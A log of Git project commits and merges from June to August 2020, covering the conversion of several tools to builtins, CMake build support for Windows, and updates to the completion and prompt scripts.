[1] https://lore.kernel.org/git/CALkWK0mPHzKfzFKKpZkfAus3YVC9NFYDbFnt+5JQYVKipk3bQQ@mail.gmail.com/

Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-13 11:02:15 -07:00
Jeff King a006f875e2 make git-fast-import a builtin
There's no reason that git-fast-import benefits from being a separate
binary. And as it links against libgit.a, it has a non-trivial disk
footprint. Let's make it a builtin, which reduces the size of a stripped
installation from 22MB to 21MB.

Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-13 11:02:13 -07:00
Jeff King d7a5649c82 make git-bugreport a builtin
There's no reason that bugreport has to be a separate binary. And since
it links against libgit.a, it has a rather large disk footprint. Let's
make it a builtin, which reduces the size of a stripped installation
from 24MB to 22MB.

This also simplifies our Makefile a bit. And we can take advantage of
builtin niceties like RUN_SETUP_GENTLY.

Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-13 11:02:12 -07:00
Jeff King b5dd96b70a make credential helpers builtins
There's no real reason for credential helpers to be separate binaries. I
did them this way originally under the notion that helper don't _need_
to be part of Git, and so can be built totally separately (and indeed,
the ones in contrib/credential are). But the ones in our main Makefile
build on libgit.a, and the resulting binaries are reasonably large.

We can slim down our total disk footprint by just making them builtins.
This reduces the size of:

  make strip install

from 29MB to 24MB on my Debian system.

Note that credential-cache can't operate without support for Unix
sockets. Currently we just don't build it at all when NO_UNIX_SOCKETS is
set. We could continue that with conditionals in the Makefile and our
list of builtins. But instead, let's build a dummy implementation that
dies with an informative message. That has two advantages:

  - it's simpler, because the conditional bits are all kept inside
    the credential-cache source

  - a user who is expecting it to exist will be told _why_ they can't
    use it, rather than getting the "credential-cache is not a git
    command" error which makes it look like the Git install is broken.

Note that our dummy implementation does still respond to "-h" in order
to appease t0012 (and this may be a little friendlier for users, as
well).

Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-13 11:02:08 -07:00
Junio C Hamano a30e4c531d Merge branch 'ss/cmake-build'
CMake support to build with MSVC for Windows bypassing the Makefile.

* ss/cmake-build:
  ci: modification of main.yml to use cmake for vs-build job
  cmake: support for building git on windows with msvc and clang.
  cmake: support for building git on windows with mingw
  cmake: support for testing git when building out of the source tree
  cmake: support for testing git with ctest
  cmake: installation support for git
  cmake: generate the shell/perl/python scripts and templates, translations
  Introduce CMake support for configuring Git
2020-08-11 18:04:13 -07:00
Junio C Hamano 83b8250904 Merge branch 'es/adjust-subtree-test-for-merge-msg-update'
Adjust tests in contrib/ to the recent change to fmt-merge-msg.

* es/adjust-subtree-test-for-merge-msg-update:
  Revert "contrib: subtree: adjust test to change in fmt-merge-msg"
2020-08-10 10:24:01 -07:00
Junio C Hamano a1315123e2 Merge branch 'mp/complete-show-color-moved'
Command line completion (in contrib/) update.

* mp/complete-show-color-moved:
  completion: add show --color-moved[-ws]
2020-08-04 13:53:56 -07:00
Emily Shaffer b87528c4d7 Revert "contrib: subtree: adjust test to change in fmt-merge-msg"
This reverts commit 508fd8e8ba.

In 6e6029a8 (fmt-merge-msg: allow merge destination to be omitted again)
we get back the behavior where merges against 'master', by default, do
not include "into 'master'" at the end of the merge message. This test
fix is no longer needed.

Signed-off-by: Emily Shaffer <emilyshaffer@google.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-03 12:48:00 -07:00
pudinha 11868978c7 mergetools: add support for nvimdiff (neovim) family
Signed-off-by: pudinha <rogi@skylittlesystem.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-07-29 14:44:49 -07:00
Junio C Hamano cfa7ae8b6e Merge branch 'en/sparse-status' into master
Fix to a "git prompt" regression during this development cycle.

* en/sparse-status:
  git-prompt: change == to = for zsh's sake
2020-07-21 14:19:10 -07:00
David J. Malan e8882a87d9 git-prompt: change == to = for zsh's sake
When using git-prompt.sh with zsh, __git_ps1 currently errs
when inside a repo with:

__git_ps1:96: = not found

Avoid using non-portable "==" that is only understood by bash
and not zsh. Change to "=" so that the prompt script becomes
usable with zsh again.

Signed-off-by: David J. Malan <malan@harvard.edu>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-07-20 17:37:20 -07:00
Michal Privoznik 688b87c81b completion: add show --color-moved[-ws]
The completion for diff command was added in fd0bc17557 but
missed the show command which also supports --color-moved[-ws].

This suffers from the very same problem [1] as the referenced
commit: no comma-separated list completion for --color-moved-ws.

[1]: https://github.com/scop/bash-completion/issues/240

Signed-off-by: Michal Privoznik <mprivozn@redhat.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-07-15 13:51:09 -07:00
Junio C Hamano b2b7a5410d Merge branch 'vs/completion-with-set-u' into master
The command line completion support (in contrib/) used to be
prepared to work with "set -u" but recent changes got a bit more
sloppy.  This has been corrected.

* vs/completion-with-set-u:
  completion: nounset mode fixes
2020-07-09 14:00:41 -07:00
Junio C Hamano 11cbda2add Merge branch 'js/default-branch-name'
The name of the primary branch in existing repositories, and the
default name used for the first branch in newly created
repositories, is made configurable, so that we can eventually wean
ourselves off of the hardcoded 'master'.

* js/default-branch-name:
  contrib: subtree: adjust test to change in fmt-merge-msg
  testsvn: respect `init.defaultBranch`
  remote: use the configured default branch name when appropriate
  clone: use configured default branch name when appropriate
  init: allow setting the default for the initial branch name via the config
  init: allow specifying the initial branch name for the new repository
  docs: add missing diamond brackets
  submodule: fall back to remote's HEAD for missing remote.<name>.branch
  send-pack/transport-helper: avoid mentioning a particular branch
  fmt-merge-msg: stop treating `master` specially
2020-07-06 22:09:17 -07:00
Junio C Hamano d80bea479d Merge branch 'ak/commit-graph-to-slab'
A few fields in "struct commit" that do not have to always be
present have been moved to commit slabs.

* ak/commit-graph-to-slab:
  commit-graph: minimize commit_graph_data_slab access
  commit: move members graph_pos, generation to a slab
  commit-graph: introduce commit_graph_data_slab
  object: drop parsed_object_pool->commit_count
2020-07-06 22:09:14 -07:00
Junio C Hamano 0cc4dcacb3 Merge branch 'en/sparse-status'
"git status" learned to report the status of sparse checkout.

* en/sparse-status:
  git-prompt: include sparsity state as well
  git-prompt: document how in-progress operations affect the prompt
  wt-status: show sparse checkout status as well
2020-07-06 22:09:13 -07:00
Ville Skyttä c2dbcd206d completion: nounset mode fixes
Accessing unset variables results an errors when the shell is in
nounset/-u mode. This fixes the cases I've come across while using git
completion in a shell running in that mode for a while. It's hard to
tell if this is the complete set, but at least it improves things.

Signed-off-by: Ville Skyttä <ville.skytta@iki.fi>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-07-01 14:55:30 -07:00
Đoàn Trần Công Danh 508fd8e8ba contrib: subtree: adjust test to change in fmt-merge-msg
We're starting to stop treating `master' specially in fmt-merge-msg.
Adjust the test to reflect that change.

Signed-off-by: Đoàn Trần Công Danh <congdanhqx@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-30 08:41:15 -07:00
Sibi Siddharthan 7f475e2780 cmake: support for building git on windows with msvc and clang.
This patch adds support for Visual Studio and Clang builds

The minimum required version of CMake is upgraded to 3.15 because
this version offers proper support for Clang builds on Windows.

Libintl is not searched for when building with Visual Studio or Clang
because there is no binary compatible version available yet.

NOTE: In the link options invalidcontinue.obj has to be included.
The reason for this is because by default, Windows calls abort()'s
instead of setting errno=EINVAL when invalid arguments are passed to
standard functions.
This commit explains it in detail:
4b623d80f7

On Windows the default generator is Visual Studio,so for Visual Studio
builds do this:

cmake `relative-path-to-srcdir`

NOTE: Visual Studio generator is a multi config generator, which means
that Debug and Release builds can be done on the same build directory.

For Clang builds do this:

On bash
CC=clang cmake `relative-path-to-srcdir` -G Ninja
		-DCMAKE_BUILD_TYPE=[Debug or Release]

On cmd
set CC=Clang
cmake `relative-path-to-srcdir` -G Ninja
		-DCMAKE_BUILD_TYPE=[Debug or Release]

Signed-off-by: Sibi Siddharthan <sibisiddharthan.github@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-26 10:08:46 -07:00
Sibi Siddharthan f7adba4182 cmake: support for building git on windows with mingw
This patch facilitates building git on Windows with CMake using MinGW

NOTE: The funtions unsetenv and hstrerror are not checked in Windows
builds.
Reasons
NO_UNSETENV is not compatible with Windows builds.
lines 262-264 compat/mingw.h

compat/mingw.h(line 25) provides a definition of hstrerror which
conflicts with the definition provided in
git-compat-util.h(lines 733-736).

To use CMake on Windows with MinGW do this:
cmake `relative-path-to-srcdir` -G "MinGW Makefiles"

Signed-off-by: Sibi Siddharthan <sibisiddharthan.github@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-26 10:08:46 -07:00
Sibi Siddharthan 7f5397a07c cmake: support for testing git when building out of the source tree
This patch allows git to be tested when performin out of source builds.

This involves changing GIT_BUILD_DIR in t/test-lib.sh to point to the
build directory. Also some miscellaneous copies from the source directory
to the build directory.
The copies are:
t/chainlint.sed needed by a bunch of test scripts
po/is.po needed by t0204-gettext-rencode-sanity
mergetools/tkdiff needed by t7800-difftool
contrib/completion/git-prompt.sh needed by t9903-bash-prompt
contrib/completion/git-completion.bash needed by t9902-completion
contrib/svn-fe/svnrdump_sim.py needed by t9020-remote-svn

NOTE: t/test-lib.sh is only modified when tests are run not during
the build or configure.
The trash directory is still srcdir/t

Signed-off-by: Sibi Siddharthan <sibisiddharthan.github@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-26 10:08:46 -07:00
Sibi Siddharthan c4b2f41b5f cmake: support for testing git with ctest
This patch provides an alternate way to test git using ctest.
CTest ships with CMake, so there is no additional dependency being
introduced.

To perform the tests with ctest do this after building:
ctest -j[number of jobs]

NOTE: -j is optional, the default number of jobs is 1

Each of the jobs does this:
cd t/ && sh t[something].sh

The reason for using CTest is that it logs the output of the tests
in a neat way, which can be helpful during diagnosis of failures.

After the tests have run ctest generates three log files located in
`build-directory`/Testing/Temporary/

These log files are:

CTestCostData.txt:
This file contains the time taken to complete each test.

LastTestsFailed.log:
This log file contains the names of the tests that have failed in the
run.

LastTest.log:
This log file contains the log of all the tests that have run.
A snippet of the file is given below.

10/901 Testing: D:/my/git-master/t/t0009-prio-queue.sh
10/901 Test: D:/my/git-master/t/t0009-prio-queue.sh
Command: "sh.exe" "D:/my/git-master/t/t0009-prio-queue.sh"
Directory: D:/my/git-master/t
"D:/my/git-master/t/t0009-prio-queue.sh"
Output:
----------------------------------------------------------
ok 1 - basic ordering
ok 2 - mixed put and get
ok 3 - notice empty queue
ok 4 - stack order
passed all 4 test(s)
1..4
<end of output>
Test time =   1.11 sec

NOTE: Testing only works when building in source for now.

Signed-off-by: Sibi Siddharthan <sibisiddharthan.github@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-26 10:08:46 -07:00
Sibi Siddharthan f1f5dff9e7 cmake: installation support for git
Install the built binaries and scripts using CMake

This is very similar to `make install`.
By default the destination directory(DESTDIR) is /usr/local/ on Linux
To set a custom installation path do this:
cmake `relative-path-to-srcdir`
	-DCMAKE_INSTALL_PREFIX=`preferred-install-path`

Then run `make install`

Signed-off-by: Sibi Siddharthan <sibisiddharthan.github@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-26 10:08:46 -07:00
Sibi Siddharthan afa45fe5c0 cmake: generate the shell/perl/python scripts and templates, translations
Implement the placeholder substitution to generate scripted
Porcelain commands, e.g. git-request-pull out of
git-request-pull.sh

Generate shell/perl/python scripts and template using CMake instead of
using sed like the build procedure in the Makefile does.

The text translations are only build if `msgfmt` is found in your path.

NOTE: The scripts and templates are generated during configuration.

Signed-off-by: Sibi Siddharthan <sibisiddharthan.github@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-26 10:08:46 -07:00
Junio C Hamano 320421840e Merge branch 'jk/complete-git-switch'
The command line completion (in contrib/) learned to complete
options that the "git switch" command takes.

* jk/complete-git-switch:
  completion: improve handling of --orphan option of switch/checkout
  completion: improve handling of -c/-C and -b/-B in switch/checkout
  completion: improve handling of --track in switch/checkout
  completion: improve handling of --detach in checkout
  completion: improve completion for git switch with no options
  completion: improve handling of DWIM mode for switch/checkout
  completion: perform DWIM logic directly in __git_complete_refs
  completion: extract function __git_dwim_remote_heads
  completion: replace overloaded track term for __git_complete_refs
  completion: add tests showing subpar switch/checkout --orphan logic
  completion: add tests showing subpar -c/C argument completion
  completion: add tests showing subpar -c/-C startpoint completion
  completion: add tests showing subpar switch/checkout --track logic
  completion: add tests showing subar checkout --detach logic
  completion: add tests showing subpar DWIM logic for switch/checkout
  completion: add test showing subpar git switch completion
2020-06-25 12:27:45 -07:00
Elijah Newren afda36dbf3 git-prompt: include sparsity state as well
git-prompt includes the current branch, a bunch of single character
mini-state displayers, and some much longer in-progress state
notifications.  The current branch is always shown.  The single
character mini-state displayers are all off by default (they are not
self explanatory) but each has an environment variable for turning it
on.  The in-progress state notifications provide no configuration
options for turning them off, and can be up to 15 characters long (e.g.
"|REBASE (12/18)" or "|CHERRY-PICKING").

The single character mini-state tends to be used for things like "Do you
have any stashes in refs/stash?" or "Are you ahead or behind of
upstream?".  These are things which users can take advantage of but do
not affect most normal git operations.  The in-progress states, by
contrast, suggest the user needs to interact differently and may also
prevent some normal operations from succeeding (e.g. git switch may show
an error instead of switching branches).

Sparsity is like the in-progress states in that it suggests a
fundamental different interaction with the repository (many of the files
from the repository are not present in your working copy!).  A few
commits ago added sparsity information to wt_longstatus_print_state(),
grouping it with other in-progress state displays.  We do similarly here
with the prompt and show the extra state, by default, with an extra
    |SPARSE
This state can be present simultaneously with the in-progress states, in
which case it will appear before the other states; for example,
    (branchname|SPARSE|REBASE 6/10)

The reason for showing the "|SPARSE" substring before other states is to
emphasize those other states.  Sparsity is probably not going to change
much within a repository, while temporary operations will.  So we want
the state changes related to temporary operations to be listed last, to
make them appear closer to where the user types and make them more
likely to be noticed.

The fact that sparsity isn't just cached metadata or additional
information is what leads us to show it more similarly to the
in-progress states, but the fact that sparsity is not transient like the
in-progress states might cause some users to want an abbreviated
notification of sparsity state or perhaps even be able to turn it off.
Allow GIT_PS1_COMPRESSSPARSESTATE to be set to request that it be
shortened to a single character ('?'), and GIT_PS1_OMITSPARSESTATE to be
set to request that sparsity state be omitted from the prompt entirely.

Signed-off-by: Elijah Newren <newren@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-22 09:29:59 -07:00
Elijah Newren 30b00f009c git-prompt: document how in-progress operations affect the prompt
Signed-off-by: Elijah Newren <newren@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-06-22 09:29:59 -07:00